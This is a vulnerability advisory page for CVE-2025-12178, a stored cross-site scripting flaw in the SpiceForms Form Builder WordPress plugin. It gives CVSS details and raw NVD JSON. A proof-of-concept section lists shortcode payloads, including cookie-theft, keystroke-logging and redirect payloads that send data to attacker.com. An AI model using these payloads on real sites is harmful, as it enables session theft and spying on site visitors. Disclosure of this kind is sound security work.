Security Vulnerability Report
中文
CVE-2025-12178 CVSS 6.4 MEDIUM

CVE-2025-12178

Published: 2026-01-14 06:15:51
Last Modified: 2026-04-15 00:35:42

Description

The SpiceForms Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'spiceforms' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SpiceForms Form Builder <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress SpiceForms Form Builder XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- Basic XSS Payload --> [spiceforms field_name='" onerror="alert(document.domain)" x="'] <!-- Cookie Theft Payload --> [spiceforms field_name='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Keylogger Payload --> [spiceforms input_id='1" onfocus="fetch(`https://attacker.com/log?k=${event.key}`)" x="'] <!-- Stored XSS via form_id parameter --> [spiceforms form_id='<img src=x onerror=document.location="https://attacker.com/cookie?"+document.cookie>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12178", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:50.760", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SpiceForms Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'spiceforms' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin SpiceForms Form Builder para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'spiceforms' en todas las versiones hasta la 1.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/spiceforms-form-builder/tags/1.0/spiceform.php#L135", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d9a19e96-2ca4-4072-aa2e-ab01f1685911?source=cve", "source": "[email protected]"}]}}